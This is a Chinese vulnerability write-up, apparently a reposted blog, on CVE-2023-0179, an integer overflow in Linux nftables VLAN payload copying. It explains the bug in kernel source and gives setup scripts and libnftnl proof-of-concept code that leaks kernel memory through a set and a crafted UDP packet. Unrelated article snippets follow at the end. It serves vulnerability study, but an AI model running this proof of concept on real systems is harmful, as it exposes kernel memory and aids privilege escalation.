CVE-2023-0179-Nftables整型溢出

前言

Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。

漏洞成因

漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。

代码细节如下:

nft_payload_copy_vlan

#define VLAN_HLEN 4  /* The additional bytes required by VLAN* (in addition to the Ethernet header)*/
#define VLAN_ETH_HLEN 18  /* Total octets in header.  *//*
* d表示目的寄存器
* skb通常是网络协议栈的缓存区
* offset为数据包的偏移量
* len为拷贝的长度
*/
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移u8 *vlanh, *dst_u8 = (u8 *) d; struct vlan_ethhdr veth;u8 vlan_hlen = 0;/*IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tagIEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网*/if ((skb->protocol == htons(ETH_P_8021AD) ||skb->protocol == htons(ETH_P_8021Q)) &&offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)vlan_hlen += VLAN_HLEN;vlanh = (u8 *) &veth;if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4u8 ethlen = len; //拷贝的长度if (vlan_hlen &&skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)return false;else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))return false;if (offset + len > VLAN_ETH_HLEN + vlan_hlen)ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;//ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);//ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;//ethlen = VLAN_ETH_HELN - vlan_hlen - offset//ethlen = 14 - offset//如果offset > 14 则会造成 ethlen溢出memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节len -= ethlen;if (len == 0)return true;dst_u8 += ethlen;offset = ETH_HLEN + vlan_hlen;} else {offset -= VLAN_HLEN + vlan_hlen;}return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}

该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021QIEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时,会导致ethlen变成非常大。

这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen

那么当offset = 19len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出)

环境搭建

这里采用的是qemu + linux6.16内核进行环境的搭建。作者创建虚拟网络设备的脚本如下

https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh

#!/bin/sh# create the peer virtual device
ip link add eth0 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth0 up
ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan id 10
ip addr add 192.168.147.137/24 dev vlan.10
ip link set vlan.5 up
ip link set vlan.10 up
ip link set lo up
# create a bridge to enable hooks
ip link add name br0 type bridge
ip link set dev br0 up
ip link set eth0 master br0
ip addr add 192.168.157.137/24 dev br0

可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示:

void nft_payload_eval(const struct nft_expr *expr,struct nft_regs *regs,const struct nft_pktinfo *pkt)
{const struct nft_payload *priv = nft_expr_priv(expr);const struct sk_buff *skb = pkt->skb;u32 *dest = &regs->data[priv->dreg];int offset;if (priv->len % NFT_REG32_SIZE)dest[priv->len / NFT_REG32_SIZE] = 0;switch (priv->base) {case NFT_PAYLOAD_LL_HEADER: //数据链路层if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头goto err;if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志if (!nft_payload_copy_vlan(dest, skb,priv->offset, priv->len))goto err;return;}offset = skb_mac_header(skb) - skb->data;break;
...

因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行`hook`的时候只需要`hook`一个点就行,设置`vlan`接口是因为只有`vlan`的数据包才能够进入`nft_payload_copy_vlan`函数的流程内,而在`vlan.5`上再次创建一个`vlan`接口是因为使得数据包能够加入双层`vlan tag,这样可以通过IEEE 8021AD`协议传输。

图片

但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定`vlan`的类型为`IEEE 8021AD`,因此修改了一下脚本。

#!/bin/sh# create the peer virtual device
ip link add eth32 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth32 up
#ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan  protocol  802.1ad  id 10 
#ip addr add 192.168.147.137/24 dev vlan.5
ip link set vlan.5 up
ip link set lo up
ip link set vlan.10 up

指定协议之后,数据包的协议也被为IEEE 8021AD

图片

图片

至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlanbridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。

漏洞验证

可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置

nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingressHOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)

...if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL)){perror("[-] create table");exit(-1);}/* 2. create chain */printf("[2] create chain\n");struct unft_base_chain_param up;up.hook_num = NF_NETDEV_INGRESS;up.prio = INT_MIN;if (create_chain(nl, table_name, chain_name,  NFPROTO_NETDEV, &up, &seq, NULL, dev_name)){perror("[-] create chain");exit(-1);}
...

然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5

rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);

可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。

图片

 

可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。

图片

 

为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下:

//创建集合
struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
{struct nftnl_set *s = NULL;s = nftnl_set_alloc();if (s == NULL) {perror("OOM");exit(EXIT_FAILURE);}nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);/* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We* should place these datatypes in a public header so third party* applications still work with nftables.*/nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据nftnl_set_set_u32(s, NFTNL_SET_ID, 1);nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP);  //以map存储数据return s;
}

在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下:

void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
{struct nftnl_expr *expr = nftnl_expr_alloc("dynset");nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值nftnl_rule_add_expr(r, expr);
}

这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。

int send_packet() 
{int sockfd;struct sockaddr_in addr;char buffer[] = "This is a test message";char *interface_name = "vlan.10";  // double-tagged packetint interface_index;struct ifreq ifr;memset(&ifr, 0, sizeof(ifr));memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (sockfd < 0) {perror("[-] Error creating socket");return 1;}// Set the SO_BINDTODEVICE socket optionif (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {perror("[-] Error setting SO_BINDTODEVICE socket option");return 1;}memset(&addr, 0, sizeof(addr));addr.sin_family = AF_INET;addr.sin_addr.s_addr = inet_addr("192.168.123.123");  // random destinationaddr.sin_port = htons(1337); // Send the UDP packetif (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {perror("[-] Error sending UDP packet");return 1;}close(sockfd);return 0;
}

可以看到最终完成了内核信息的泄露。

图片

 

完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c

漏洞利用

  • • 利用JUMP调整stacksize

  • • 设置寄存器的值

  • • 利用nft_payload_copy_vlan触发漏洞拷贝payload

参考链接

https://github.com/TurtleARM/CVE-2023-0179-PoC

https://github.com/pqlx/CVE-2022-1015

https://www.ctfiot.com/100156.html

https://www.cnblogs.com/mutudou/p/14244640.html

https://zhuanlan.zhihu.com/p/554612685

https://cloud.tencent.com/developer/article/1835299

https://github.com/tklauser/libnftnl/tree/master

https://blog.csdn.net/qq_33997198/article/details/118370071

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/184510.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OmniFocus Pro for Mac(GTD时间管理软件) OmniFocus Mac版

OmniFocus Pro 3 for Mac 中文激活版是一款功能强大且灵活的 GTD 时间管理工具&#xff0c;可为您提供无干扰的环境&#xff0c;帮助您可以轻松地从邮件&#xff0c;消息&#xff0c;Safari 和任何其他第三方应用程序中安排任务&#xff0c;编写备注和剪辑信息。您可以快速轻松…

Intel oneAPI笔记(4)--jupyter官方文档(Unified Shared Memory)学习笔记

前言 本文是对jupyterlab中oneAPI_Essentials/03_Unified_Shared_Memory文档的学习记录&#xff0c;主要包含对统一共享内存的讲解 USM概述 USM (Unified Shared Memory)是SYCL中基于指针的内存管理。对于使用malloc或new来分配数据的C和C程序员来说应该很熟悉。当将现有的C…

Apple :苹果将在明年年底推出自己的 AI,预计将随 iOS 18 一起推出

本心、输入输出、结果 文章目录 Apple &#xff1a;苹果将在明年年底推出自己的 AI&#xff0c;预计将随 iOS 18 一起推出前言三星声称库克相关图片弘扬爱国精神 Apple &#xff1a;苹果将在明年年底推出自己的 AI&#xff0c;预计将随 iOS 18 一起推出 编辑&#xff1a;简简单…

论文阅读:Ensemble Knowledge Transfer for Semantic Segmentation

论文地址&#xff1a;https://ieeexplore.ieee.org/document/8354272 项目及数据地址&#xff1a;https://github.com/ishann/aeroscapes 发表时间&#xff1a;2018年5月7日 语义分割网络通常以严格监督的方式学习&#xff0c;即它们在相似的数据分布上进行训练和测试。在域转…

电机应用-舵机

目录 舵机 分类 结构 工作原理 控制原理 参数 舵机基本控制实验&#xff08;MG996R舵机&#xff09; MG996R舵机规格 硬件电路 TIM4配置 测试环节 舵机 分类 按照舵机的控制电路分类&#xff1a;模拟舵机和数字舵机。 模拟舵机和数字舵机的机械结构是完全相同的。 …

基于ssm的校园快递物流管理系统(java+jsp+ssm+javabean+mysql+tomcat)

博主24h在线&#xff0c;想要源码文档部署视频直接私聊&#xff0c;9.9拿走&#xff01; 基于javawebmysql的ssm校园快递物流管理系统(javajspssmjavabeanmysqltomcat) 运行环境&#xff1a; Java≥8、MySQL≥5.7、Tomcat≥8 开发工具&#xff1a; eclipse/idea/myeclipse/s…

【C++】STL 标准模板库 ① ( STL 简介 | STL 基本概念 | STL 主要内容 )

文章目录 一、STL 简介1、STL 概念2、STL 主要内容 二、STL 代码示例 一、STL 简介 1、STL 概念 C 语言 的 STL " 标准模板库 " 英文全称 " Standard Template Library " , STL 是一套强大的 C 库 , 其中包含了各种通用的 数据结构和算法 , 如 : 向量、列…

谷歌提出 AGI 完整路线图:目前 ChatGPT 只处于 AGI 的第一阶段

本心、输入输出、结果 文章目录 谷歌提出 AGI 完整路线图:目前 ChatGPT 只处于 AGI 的第一阶段前言谷歌 DeepMind 发布 AGI 分级框架发展 AGI 必须遵循6个基本原则什么是AGI图灵测试详解六大原则AGI 的五大发展过程阶段原文参考弘扬爱国精神谷歌提出 AGI 完整路线图:目前 Cha…

Redis系列-四种部署方式-单机部署+主从模式+哨兵模式【7】

目录 Redis系列-四种部署方式-单机部署主从模式【7】redis-四种部署模式单机模式主从模式数据同步的方式全量数据同步增量数据同步 Redis哨兵模式总结缺点&#xff1a;哨兵模式应用sentinel.conf配置项 REF 个人主页: 【⭐️个人主页】 需要您的【&#x1f496; 点赞关注】支持…

VScode连接Xshell 并解决【过程试图写入的管道不存在】报错

一.下载vscode 国内镜像&#xff1a; https://vscode.cdn.azure.cn/stable/6c3e3dba23e8fadc360aed75ce363ba185c49794/VSCodeUserSetup-x64-1.81.1.exe二.打开vscode在扩展搜索SSH并安装 三.添加主机 按F1选择添加新的ssh主机 按格式输入后在左边会出现电视的图标 之后输入…

优先级队列(堆)的概念+模拟堆的实现

文章目录 优先级队列&#xff08;堆&#xff09;的概念模拟堆的实现一、概念1.优先级队列2.堆1.堆的性质2.堆的存储3.堆的创建3.1 向下调整3.2建堆的时间复杂度 O(N) 4.堆的插入4.1向上调整4.2向上调整建堆的时间复杂度&#xff1a;O(N * log N) 5.堆的删除 优先级队列&#xf…

前端使用firebase配置第三方登录介绍(谷歌登录,facebook登录等)

参考文档 点此处去 firebase 官网点此处去 web端的谷歌登录文档点此处去 facebook开发者官网链接 实现&#xff08;谷歌登录&#xff09; 首先注册一个账号登录firebase&#xff08;可以使用谷歌账号登录&#xff09;然后创建项目&#xff08;走默认配置就行了&#xff09; …

什么是超级托斯卡纳葡萄酒?

超级托斯卡纳葡萄酒通常被认为是在托斯卡纳用国际葡萄品种制成的葡萄酒&#xff0c;如赤霞珠、品丽珠或梅洛&#xff0c;而不是传统的托斯卡纳葡萄桑娇维塞。来自云仓酒庄品牌雷盛红酒分享这些葡萄酒可能包含一些桑娇维塞&#xff0c;但这通常不是混合中的主要葡萄。这些大胆的…

FMCW雷达论文速览 | TRS 2023, 基于FMCW雷达的多天线高精度测距算法及性能分析

注1:本文系“最新论文速览”系列之一,致力于简洁清晰地介绍、解读最新的顶会/顶刊论文 TRS 2023 | High Accuracy Multi-antenna Ranging Algorithm and Performance Analysis for FMCW Radar 论文原文:https://ieeexplore.ieee.org/document/10309162 Z. Xu, S. Qi and P. Zh…

制药企业如何提高员工的GMP合规意识

在上期的文章中&#xff0c;我们介绍了>>制药企业计算机化系统验证(CSV)的重要性&#xff0c;本期我们深入探讨制药企业如何培养员工形成GMP良好的合规意识。 良好的药品质量是保障患者安全和有效治疗的基石。为了确保药品的质量、安全性和一致性&#xff0c;制药企业必…

GaN HEMT 电容的分析建模,包括寄生元件

标题&#xff1a;Analytical Modeling of Capacitances for GaN HEMTs, Including Parasitic Components 来源&#xff1a;IEEE TRANSACTIONS ON ELECTRON DEVICES&#xff08;14年&#xff09; 摘要&#xff1a;本文提出了一种基于表面势的终端电荷和电容模型&#xff0c;包…

Hbuiderx链接到夜神模拟器(DCloud数字天堂)

赞助 DCloud 即数字天堂&#xff08;北京&#xff09;网络技术有限公司是 W3C成员及 HTML5中国产业联盟 发起单位 Hbuiderx切换使用夜神模拟器自带的ADB.exe链接到夜神模拟器 同步资源失败&#xff0c;未得到同步资源的授权&#xff0c;请停止运行后重新运行&#xff0c;并注意…

【React】04.MVC模式和MVVM模式

React是Web前端框架 1、目前市面上比较主流的前端框架 ReactAngular&#xff08;NG框架&#xff09;Vue 主流的思想&#xff1a; 不在直接去操作DOM&#xff0c;而是改为“数据驱动思想” 操作DOM思想&#xff1a; 操作DOM比较消耗性能[主要原因就是&#xff0c;可能会导…

Vue2+elementui项目导出el-table的数据为xlsx表格

1、安装3个插件 &#xff08;file-saver、 xlsx、script-loader&#xff09; npm install -S file-saver xlsxnpm install -D script-loader 2、在utils目录下新建一个 Export2Excel.js 脚本 &#xff08;我的路径在/utils/Export2Excel.js&#xff09; /* eslint-disable *…

在Docker中设置Redis的密码

目录 1&#xff0c;介绍2&#xff0c;实现“Docker Redis设置密码”的整体流程3&#xff0c;具体实现步骤4&#xff0c;结论 1&#xff0c;介绍 Docker是一个开源的应用容器引擎&#xff0c;可以自动化部署、扩展应用程序。它可以帮助开发人员将应用程序及其依赖项打包到一个可…